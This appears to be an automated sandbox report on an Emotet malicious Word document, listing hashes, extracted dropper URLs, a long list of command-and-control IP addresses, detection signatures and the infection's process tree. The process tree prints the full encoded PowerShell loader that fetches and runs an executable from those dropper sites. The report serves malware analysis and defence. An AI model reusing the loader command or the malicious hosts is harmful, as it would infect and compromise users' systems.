emotet | fdd1f341fc91f2da54b135658a4d9e13e29e387f500f3ef4e233e60c419d6bdf

Analysis

max time kernel
141s
max time network
152s
platform
windows10_x64
resource
win10v200722
submitted
24/09/2020, 12:35

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General

Target
emotet_e1_fdd1f341fc91f2da54b135658a4d9e13e29e387f500f3ef4e233e60c419d6bdf_2020-09-24__123050742400._doc.doc
Size 150KB
Sample200924-8yvgw6afvx
SHA256 fdd1f341fc91f2da54b135658a4d9e13e29e387f500f3ef4e233e60c419d6bdf
MD5 f18254c967c519edf80de8475bc484e2
SHA1 d8a6ac427c77de3f998e41c55f47a05767d9cdc6
SHA512 1a4c38a5cb4bd72fd3155a1284003b41473ee4e681e8f6dca7ab9e921c6c04082bde88d122001e88bed0728c70c64bf94349ade13624895beda5f0e4be52b67c
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

Source

URLs

exe.dropper
http://h2a1.com/uf8vu/U/
exe.dropper
http://www.almakaaseb.com/wp-includes/P/
exe.dropper
http://theitnconsultant.com/wp-includes/t/
exe.dropper
http://carstarai.com/icon/D/
exe.dropper
http://bug.chihuahuamediaprojects.com/wp-includes/u/
exe.dropper
https://aecc.dev.caveim.net/wp-admin/dZ/
exe.dropper
http://phimsex.2xxhub.com/wp-content/esp/5ur8drbma/6qH/

Extracted

Family

emotet

12.163.208.58:80
45.33.35.74:8080
87.106.253.248:8080
192.241.146.84:8080
190.115.18.139:8080
65.36.62.20:80
170.81.48.2:80
83.169.21.32:7080
185.232.182.218:80
190.2.31.172:80
77.106.157.34:8080
82.230.1.24:80
202.4.58.197:80
201.213.177.139:80
78.249.119.122:80
123.51.47.18:80
77.90.136.129:8080
60.93.23.51:80
152.169.22.67:80
190.117.79.209:80
60.108.144.104:443
213.197.182.158:8080
82.76.111.249:443
209.236.123.42:8080
190.24.243.186:80
177.74.228.34:80
191.182.6.118:80
96.245.123.149:80
61.197.92.216:80
1.226.84.243:8080
111.67.12.221:8080
216.47.196.104:80
185.94.252.27:443
70.116.143.84:80
187.162.248.237:80
217.13.106.14:8080
80.11.164.185:80
35.143.99.174:80
190.190.148.27:8080
219.92.13.25:80
70.32.115.157:8080
96.227.52.8:443
51.75.33.127:80
95.9.180.128:80
174.113.69.136:80
119.106.216.84:80
111.67.77.202:8080
91.105.94.200:80
178.250.54.208:8080
98.13.75.196:80
2.36.95.106:80
186.70.127.199:8090
116.202.23.3:8080
202.134.4.210:7080
50.28.51.143:8080
45.33.77.42:8080
67.247.242.247:80
137.74.106.111:7080
85.214.26.7:8080
181.30.61.163:443
77.238.212.227:80
185.215.227.107:443
186.103.141.250:443
50.121.220.50:80
74.136.144.133:80
104.131.41.185:8080
61.92.159.208:8080
104.131.103.37:8080
51.15.7.189:80
185.94.252.12:80
94.176.234.118:443
212.71.237.140:8080
5.196.35.138:7080
45.46.37.97:80
70.32.84.74:8080
199.203.62.165:80
38.88.126.202:8080
51.159.23.217:443
155.186.0.121:80
51.38.124.206:80
181.129.96.162:8080
64.201.88.132:80
92.24.50.153:80
189.2.177.210:443
45.16.226.117:443
76.168.54.203:80
185.178.10.77:80
220.109.145.69:80
192.81.38.31:80
68.183.170.114:8080
177.73.0.98:443
138.97.60.141:7080
192.241.143.52:8080
217.199.160.224:7080
185.183.16.47:80
177.129.17.170:443
5.189.178.202:8080
74.58.215.226:80
51.255.165.160:8080
12.162.84.2:8080
149.202.72.142:7080
87.106.46.107:8080
188.135.15.49:80
68.183.190.199:8080
172.104.169.32:8080
68.69.155.181:80
72.47.248.48:7080

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3332	2580	POwersheLL.exe	72

Emotet Payload 8 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/2164-14-0x0000000002240000-0x0000000002252000-memory.dmp	emotet
behavioral2/memory/2164-14-0x0000000002240000-0x0000000002252000-memory.dmp	emotet
behavioral2/memory/2164-15-0x0000000000520000-0x0000000000530000-memory.dmp	emotet
behavioral2/memory/2164-15-0x0000000000520000-0x0000000000530000-memory.dmp	emotet
behavioral2/memory/2984-18-0x00000000006C0000-0x00000000006D2000-memory.dmp	emotet
behavioral2/memory/2984-18-0x00000000006C0000-0x00000000006D2000-memory.dmp	emotet
behavioral2/memory/2984-19-0x00000000006F0000-0x0000000000700000-memory.dmp	emotet
behavioral2/memory/2984-19-0x00000000006F0000-0x0000000000700000-memory.dmp	emotet

Blacklisted process makes network request 1 IoCs

flow	pid	Process
29	3332	POwersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
2164	Qicxrezc.exe
2984	systeminfo.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\traffic\systeminfo.exe	Qicxrezc.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
2984	systeminfo.exe

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3732	WINWORD.EXE
3732	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
3332	POwersheLL.exe
3332	POwersheLL.exe
3332	POwersheLL.exe
2984	systeminfo.exe
2984	systeminfo.exe
2984	systeminfo.exe
2984	systeminfo.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3332	POwersheLL.exe

Suspicious use of SetWindowsHookEx 11 IoCs

pid	Process
3732	WINWORD.EXE
3732	WINWORD.EXE
3732	WINWORD.EXE
3732	WINWORD.EXE
3732	WINWORD.EXE
3732	WINWORD.EXE
3732	WINWORD.EXE
3732	WINWORD.EXE
3732	WINWORD.EXE
2164	Qicxrezc.exe
2984	systeminfo.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 3332 wrote to memory of 2164	3332	POwersheLL.exe	80
PID 3332 wrote to memory of 2164	3332	POwersheLL.exe	80
PID 3332 wrote to memory of 2164	3332	POwersheLL.exe	80
PID 2164 wrote to memory of 2984	2164	Qicxrezc.exe	81
PID 2164 wrote to memory of 2984	2164	Qicxrezc.exe	81
PID 2164 wrote to memory of 2984	2164	Qicxrezc.exe	81

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_fdd1f341fc91f2da54b135658a4d9e13e29e387f500f3ef4e233e60c419d6bdf_2020-09-24__123050742400._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3732

C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exe
POwersheLL -ENCOD JABFADUAZQA4AG0AcAA4AD0AKAAoACcAUQB2ACcAKwAnAHIAJwApACsAKAAnADkAZwAnACsAJwBxAGcAJwApACkAOwAmACgAJwBuAGUAJwArACcAdwAtACcAKwAnAGkAdABlAG0AJwApACAAJABFAE4AVgA6AFUAcwBFAFIAUAByAG8AZgBpAEwARQBcAEUAWAB5AGEAcwA2ADgAXABYAF8AWABFADAAOABfAFwAIAAtAGkAdABlAG0AdAB5AHAAZQAgAGQASQByAGUAQwB0AE8AcgBZADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAEUAYwBVAGAAUgBgAGkAVABZAGAAUAByAG8AVABgAG8AQwBvAGwAIgAgAD0AIAAoACcAdAAnACsAKAAnAGwAcwAxADIALAAnACsAJwAgAHQAJwArACcAbAAnACkAKwAnAHMAJwArACgAJwAxADEALAAnACsAJwAgACcAKQArACgAJwB0ACcAKwAnAGwAcwAnACkAKQA7ACQAWQBiADQAeAAwADgANAAgAD0AIAAoACcAUQAnACsAKAAnAGkAYwAnACsAJwB4AHIAJwApACsAKAAnAGUAJwArACcAegBjACcAKQApADsAJABLAGQAdABpAG4AeABiAD0AKAAoACcAQQAnACsAJwBxAGYAMwA4ACcAKQArACcANAAnACsAJwAzACcAKQA7ACQAWQB3AG0AXwB0ADYAcgA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAoACgAJwB7ADAAJwArACcAfQBFACcAKwAnAHgAeQAnACsAJwBhAHMANgA4AHsAMAB9AFgAXwB4AGUAJwArACcAMAAnACsAJwA4AF8AewAwACcAKwAnAH0AJwApAC0AZgAgACAAWwBjAGgAQQBSAF0AOQAyACkAKwAkAFkAYgA0AHgAMAA4ADQAKwAoACcALgAnACsAKAAnAGUAeAAnACsAJwBlACcAKQApADsAJABNAG8AOABuAF8ANABxAD0AKAAoACcAQgAnACsAJwBzADIANgAnACkAKwAoACcAbQBsACcAKwAnAGIAJwApACkAOwAkAFkAbABfAGMAcwB6AG8APQAuACgAJwBuACcAKwAnAGUAdwAnACsAJwAtAG8AYgBqAGUAYwB0ACcAKQAgAE4AZQBUAC4AdwBlAGIAQwBMAEkAZQBuAHQAOwAkAEEAZQBnAHAAXwAwAGMAPQAoACcAaAB0ACcAKwAnAHQAcAAnACsAKAAnADoALwAvAGgAJwArACcAMgBhADEALgBjAG8AJwArACcAbQAvAHUAJwArACcAZgAnACsAJwA4AHYAdQAnACsAJwAvACcAKQArACcAVQAvACcAKwAoACcAKgAnACsAJwBoAHQAdAAnACkAKwAoACcAcAAnACsAJwA6AC8AJwApACsAJwAvACcAKwAoACcAdwB3ACcAKwAnAHcALgBhACcAKQArACgAJwBsAG0AJwArACcAYQBrACcAKQArACcAYQAnACsAKAAnAGEAcwBlACcAKwAnAGIALgBjACcAKwAnAG8AbQAnACsAJwAvACcAKQArACgAJwB3AHAALQAnACsAJwBpAG4AYwBsACcAKwAnAHUAZAAnACsAJwBlAHMALwBQAC8AKgBoAHQAdAAnACkAKwAnAHAAJwArACcAOgAnACsAKAAnAC8AJwArACcALwB0ACcAKQArACcAaAAnACsAJwBlACcAKwAnAGkAJwArACgAJwB0AG4AYwAnACsAJwBvAG4AJwApACsAKAAnAHMAdQBsAHQAJwArACcAYQBuAHQAJwArACcALgAnACsAJwBjAG8AbQAnACkAKwAnAC8AdwAnACsAKAAnAHAALQBpACcAKwAnAG4AYwBsACcAKQArACgAJwB1ACcAKwAnAGQAZQBzAC8AJwApACsAKAAnAHQAJwArACcALwAqACcAKQArACgAJwBoAHQAJwArACcAdABwADoAJwApACsAJwAvACcAKwAnAC8AYwAnACsAKAAnAGEAcgBzACcAKwAnAHQAYQByAGEAJwApACsAKAAnAGkALgAnACsAJwBjACcAKwAnAG8AJwArACcAbQAvAGkAYwBvAG4ALwBEACcAKQArACgAJwAvACoAaAB0AHQAcAA6ACcAKwAnAC8ALwBiACcAKwAnAHUAZwAuACcAKQArACgAJwBjAGgAJwArACcAaQBoAHUAYQAnACsAJwBoAHUAJwApACsAKAAnAGEAbQBlAGQAaQBhACcAKwAnAHAAcgAnACsAJwBvAGoAZQBjAHQAcwAuACcAKwAnAGMAbwBtAC8AdwBwACcAKwAnAC0AJwApACsAKAAnAGkAbgBjAGwAdQBkAGUAcwAvACcAKwAnAHUALwAqAGgAJwArACcAdAAnACkAKwAoACcAdAAnACsAJwBwAHMAOgAnACsAJwAvAC8AYQBlACcAKwAnAGMAYwAuAGQAZQB2AC4AYwBhAHYAJwApACsAKAAnAGUAJwArACcAaQBtACcAKQArACgAJwAuAG4AZQAnACsAJwB0AC8AdwBwAC0AJwApACsAJwBhAGQAJwArACcAbQAnACsAJwBpACcAKwAoACcAbgAvACcAKwAnAGQAWgAnACkAKwAnAC8AJwArACgAJwAqAGgAJwArACcAdAAnACkAKwAoACcAdABwADoALwAnACsAJwAvACcAKwAnAHAAaABpAG0AcwBlACcAKQArACgAJwB4AC4AMgAnACsAJwB4AHgAaAB1ACcAKwAnAGIALgAnACsAJwBjAG8AbQAvAHcAcAAtACcAKwAnAGMAJwApACsAJwBvACcAKwAnAG4AdAAnACsAKAAnAGUAbgB0AC8AZQAnACsAJwBzACcAKQArACgAJwBwAC8ANQB1AHIAOABkACcAKwAnAHIAYgBtACcAKwAnAGEALwAnACkAKwAnADYAcQAnACsAJwBIAC8AJwApAC4AIgBzAFAAYABsAEkAdAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAEIAaAAwAGwAbwA5AGoAPQAoACgAJwBMADYAZgAnACsAJwBfAGEANAAnACkAKwAnADEAJwApADsAZgBvAHIAZQBhAGMAaAAoACQATQBwAG8AaQBrAGUAZgAgAGkAbgAgACQAQQBlAGcAcABfADAAYwApAHsAdAByAHkAewAkAFkAbABfAGMAcwB6AG8ALgAiAGQATwBXAG4AYABMAG8AYABBAGAARABGAGkATABFACIAKAAkAE0AcABvAGkAawBlAGYALAAgACQAWQB3AG0AXwB0ADYAcgApADsAJABJADkAYQAyADMAMQAxAD0AKAAnAFEAJwArACgAJwB6AGcAJwArACcANwA4AGgAMQAnACkAKQA7AEkAZgAgACgAKAAuACgAJwBHACcAKwAnAGUAdAAnACsAJwAtAEkAdABlAG0AJwApACAAJABZAHcAbQBfAHQANgByACkALgAiAEwAZQBOAGAAZwB0AGgAIgAgAC0AZwBlACAAMwAzADkAOQA3ACkAIAB7AC4AKAAnAEkAbgB2AG8AawBlACcAKwAnAC0ASQB0ACcAKwAnAGUAbQAnACkAKAAkAFkAdwBtAF8AdAA2AHIAKQA7ACQAQQAxADEANgBxAGwAdAA9ACgAKAAnAFoAOQBlAHgAJwArACcAcgAnACkAKwAnADQAagAnACkAOwBiAHIAZQBhAGsAOwAkAEgAdABwAGwAbABuAG0APQAoACcASgB6ACcAKwAoACcAegAnACsAJwAzAG4AJwApACsAJwBiAGkAJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABMAHUAYQBjAGEAdgA2AD0AKAAnAE0AJwArACgAJwB3ADQAMwAnACsAJwB3ACcAKwAnADAAZgAnACkAKQA=
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3332
- C:\Users\Admin\Exyas68\X_xe08_\Qicxrezc.exe
  "C:\Users\Admin\Exyas68\X_xe08_\Qicxrezc.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:2164
- - C:\Windows\SysWOW64\traffic\systeminfo.exe
    "C:\Windows\SysWOW64\traffic\systeminfo.exe"
    3⤵
    - Executes dropped EXE
    - Gathers system information
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:2984

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/2164-15-0x0000000000520000-0x0000000000530000-memory.dmp

Download

memory/2164-14-0x0000000002240000-0x0000000002252000-memory.dmp

Download

memory/2984-18-0x00000000006C0000-0x00000000006D2000-memory.dmp

Download

memory/2984-19-0x00000000006F0000-0x0000000000700000-memory.dmp

Download

memory/3332-10-0x00000296E60C0000-0x00000296E60C1000-memory.dmp

Download

memory/3332-9-0x00000296E5DE0000-0x00000296E5DE1000-memory.dmp

Download

memory/3332-8-0x00007FF845FC0000-0x00007FF8469AC000-memory.dmp

Download

memory/3732-0-0x00007FF84D4C0000-0x00007FF84DB86000-memory.dmp

Download

memory/3732-5-0x000002572A4D3000-0x000002572A4D8000-memory.dmp

Download